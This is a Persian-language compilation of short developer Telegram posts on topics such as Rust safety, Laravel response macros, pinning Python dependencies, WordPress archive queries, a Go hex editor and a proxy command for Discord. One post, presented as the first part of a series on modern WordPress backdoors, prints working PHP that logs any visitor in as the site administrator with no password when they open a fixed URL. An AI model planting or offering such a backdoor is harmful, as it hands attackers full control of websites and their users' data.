۶۰ ۷۰ درصد باگ های امنیتی که ریپورت میشه بخاطر بحث پوینتر و رفرنس این داستانس. میرن تو یه خونه از رم یه چیز مینویسن.

علت اینکه rust میگن safeه همینه Ownershipاشه

مسابقه الگوریتمی codocodile.ir که قراره تو دانشگاه شریف برگزار شه رو اومدم شرکت کنم دیدم فقط از زبانای C و Java و Python و ++C پشتیبانی میشه. آخه چرا باید زبان‌های برنامه نویسی یه مسابقه محدود باشه؟ الان مثلا با Go یا Js نمیشه الگوریتم حل کرد؟🙄

بریکس پی رونمایی شده و اگر رفتید کشور های عضو بریکس میتونید از فروشگاهی که از این کارت پشتیبانی میکنن خرید کنید

کشور های عضو بریکس

چین
روسیه
مصر
ایران
عربستان
امارات
برزیل
افریقای جنوبی
اتیوپی


و 17 کشور زیر به‌طور رسمی درخواست عضویت داده اند

البته یه زمانی هتزنر آلمان اومد به ایرانی ها حساب داد ایرانی ها پول پرداخت نکردن الان هیچ ایرانی رو تایید نمیکنه

کاری نکنید پرتمون کنن بیرون تا اگر خرید آنلاینم باز شد بتونید استفاده کنید

@poinair پوینا

بکدور های مدرن وردپرس (قسمت اول) ورود بدون پسورد و نام کاربری

از گذشته تا کنون بکدور های وردپرس پیشرفته و پیشرفته تر شدن اما به مرور زمان پیدا کردن و شناسایی بکدور ها سخت و سخت تر شده در قسمت هایی میخواهیم به بررسی بکدور های جدید وردپرس بپرداریم و ببینم چه اتفاقاتی افتاده

بکدور اول : این کد رو فاکشن قالب خودتون بزارید و جای عدد 1 آیدی ادمین وردپرستون رو قرار بدید

function auto_login_via_url() { if (!is_user_logged_in()) {if (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] == '/poina') {$user_id = 1;wp_set_auth_cookie($user_id, true);wp_redirect(home_url());exit(); }}}add_action('init', 'auto_login_via_url');

سپس هر سایتی دارید این لینک رو باز کنید

site.com/poina

جای site.com آدرس سایت خودتون بزارید

میبنید که بدون هیچ پسورد و نام کاربری به پیشخوان وردپرس لاگین میکنید البته وقت بشه راه های جلوگیری هر کدوم رو تک تک میگیم

@poinair پوینا

github.com/ayhan-dev/bot_telegram_php

فردا نسخه جدید v.2.2 عرضه میشه
ساعت 5 بعد از ظهر میتونید از طریق ترمینال آپدیت کنید

prol update bot_telegram_php th47yfyk

نظری پیشنهاد داشتید بگید

@Ayhan_dev

در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو ساده‌تر کنه !

این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظم‌تر و مدیریتش هم راحت‌تر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35

🔶 ۱۱ سال از راه اندازی وب سایت وایرناب می گذره


https://www.wirenab.ir/

این وب سایت در ۱۱ سال پیش که راه اندازی کردم و در یک سال بعد به ارزش ۱۵۰۰۰۰ تومان فروختم.

با همان ظاهر قالب صحیفه و وردپرس نسخه ۴ هست و صاحب این وب سایت هیچ وقت محتوا به روز نکرده و به حال خود رها کرده است.

چه زود گذشت.

#وردپرس

@TheRaymondDev

به هیچی دست نزدی ولی یهو بعد از یه مدت، کل سیستم Fail میشه و هیچی درست کار نمی‌کنه!!

یه مشکل خیلی عجیب توی یه سری از اکشن‌هایی که با pyaction نوشته بودم رخ داد و اونم این بود که اکشن بدون هیچ دلیلی موقع نصب requirementها Fail می‌شد! عملا به هیچی دست نزده بودم.

مشکل رو می‌گم، خودتون بسطش بدید و سعی کنید خیلی توی اینجور موارد حواستون باشه. من توی اکشن‌ها از داکر ایمیج python:3-slim استفاده می‌کنم. سبک و سریعه و بدون مشکل روی رانر گیت‌هاب میاد بالا. مشکل از این قراره که تا ۲-۳ هفته پیش، این ایمیج پایتون ۳.۱۲ رو نصب می‌کرد و بدون مشکل dependencyها نصب می‌شدن. بعد از استیبل شدن پایتون ۳.۱۳ یهو این ایمیج تصمیم می‌گیره که سوییچ کنه روی این نسخه و روی رانر، پایتون ۳.۱۳ رو نصب کنه. خب تا اینجاشم اوکیه. (چون پایتون ۴ نیس. 😁)

این تغییر به ظاهر اوکیه ولی یک سری از requirementهایی که داریم یکم low-levelتر هستن و بخش‌هاییشون ممکنه با راست نوشته شده باشه، کامپایل کد سی باشه حتی که باعث میشه اون نسخه خاص از پکیج صرفا با پایتون ۳.۱۲ هم‌خوانی داشته باشه و نه چیز دیگه‌ای واسه همین موقع نصب، به مشکل می‌خورد و کل ورکفلو Fail میشد.

نتیجه:
سعی کنید دپندنسی‌هاتون رو اینجوری ننویسید:

foo
baz
bar

اینطوری بنویسید:

foo == 1.2.3
bar >= 1.2
baz ~= 1.2.1

یا مثلا توی مورد من، بهتر بود که داکرفایلم اینطوری شروع میشد:

FROM python:3.12-slim

نه اینجوری:

FROM python:3-slim

تشخیص خودکار حرکت و عکاسی

برنامه ای جالب با پایتون توسط استاد داریوش تصدیقی برای ایجاد یک موشن دیتکتور در اتاق کار!
با هر وبکم به راحتی این برنامه رو به کار بندازین و تغییرات اتاق رو عکاسی و نگهداری کنید!

https://t.iss.one/DT_PYTHON_LEARNING/137

🔶 چگونه محتوای مربوط به Post Type و Post در آرشیو وردپرس نمایش دهیم؟

کد زیر :

<?php
    if(is_post_type_archive( 'course' ) || is_tax('course_cat') || is_tax('course_tag')){
        $args=array(
            'post_type'=>'course',
            'posts_per_page'=>10
        );
        $loop = new WP_Query($args); 
        while($loop->have_posts()) { 
            $loop->the_post();
?>
    For Post Types.
<?php  }  
    }elseif(have_posts()){
        while(have_posts()){
            the_post(); 
?>
    For Posts.
<?php  }
    }
?>

این کمک می کند که محتوایی مخصوص Post و Post Type با طراحی مختلف باکس ها نمایش دهید.


#وردپرس

@TheRaymondDev

‏یه دوستی دارم یه طوری بهم میگفت اره مونگو و ند روی تعداد یوزر بالا کم میاره که یک سال باورم شده بود و سمت مونگو برای nodejs نرفتم .

الان دارم می بینم احمق در جریان ایندکس کردن ها نبوده

<یه جورایی V هستم📸/>

@DevTwitter

‏چند روز پیش دیدم یکی پرسیده چرا اکثر برنامه نویس ها دوست دختر ندارن؟!!

از درگیری های ذهنی برنامه نویسا همین بس که تو حموم داشتم واسه خودم داریوش میخوندم یهو یه راه حل برای یه باگ به ذهنم اومد، جواب هم داد

لامصب سیستمو خاموش میکنی ولی پروژه تو مغزت هنوز بازه :/

<میلادِ کم سعادت/>

@DevTwitter

🔵 عنوان مقاله
bed: A Binary/Hex Editor Written in Go

🟢 خلاصه مقاله:
مقاله موردنظر درباره یک ویرایشگر باینری است که با زبان برنامه‌نویسی Go نوشته شده و دارای رابط کاربری شبیه به Vim است. این ابزار در ترمینال‌ها اجرا می‌شود و به دلیل ساختار مبتنی بر Go، قابلیت حمل بالایی دارد و عملکرد سریعی را ارائه می‌دهد. یکی از ویژگی‌های برجسته‌ی این ویرایشگر، قابلیت تقسیم پنجره است که به کاربران این امکان را می‌دهد که بتوانند چندین فایل یا بخش‌های مختلف یک فایل را به طور همزمان مشاهده و ویرایش کنند. این ویژگی‌ها آن را به یک ابزار مفید و کارآمد برای توسعه‌دهندگانی تبدیل می‌کند که با داده‌های باینری کار می‌کنند و نیازمند ابزاری قدرتمند برای مدیریت و تحلیل این نوع داده‌ها هستند.

🟣لینک مقاله:
https://golangweekly.com/link/160505/web

➖➖➖➖➖➖➖➖
👑 @gopher_academy

امروز ی مقاله جالبی درباره پترن API Composition می‌خوندم که میاد چندین سرویس بک اند رو در یک API مونولیثیک ادغام می‌کنه و این باعث بهبود دسترسی به داده، مدیریت پذیری و انعطاف پذیری کلاینت فراهم می کند.

در حالت سنتی کلاینت میاد چندین سرویس رو به طور مستقل صدا میزنه که این باعث ایجاد تاخیر و نیاز به مدیریت خطا در کلاینت... میشه و مشکلات خاص خودش رو داره.

پترن API Composition وقتی نیازه که می خواهید داده های مختلف رو از سرویس های مختلف رو جمع کنید و با ترکیب API ها به یک Endpoint واحد چالش رو حل کنید.

از مزیت های این پترن:
افزایش قابلیت کشف و ثبات قابلیت‌ها
جداسازی تولیدکنندگان و مصرف‌کنندگان داده
هماهنگ‌سازی متمرکز
توسعه سریع و استفاده مجدد از قابلیت‌ها

@DevTwitter | <Mohammad Abdorrahmani/>

اگه کانفیگ های v2ray که پول هم دادی براش کار نمیکنه این پست رو چک کن:

https://t.iss.one/normal_developer/25

@syntax_fa

البته برای برنامه‌های الکترونی نادان مثل دیسکورد باید این روش رو برید:

 http_proxy=socks5://127.0.0.1:1080 https_proxy=socks5://127.0.0.1:1080 /opt/discord/Discord --proxy-server="socks5://127.0.0.1:1080"

یادتون نره پورت‌هاشو عوض کنید :)


@SohrabContents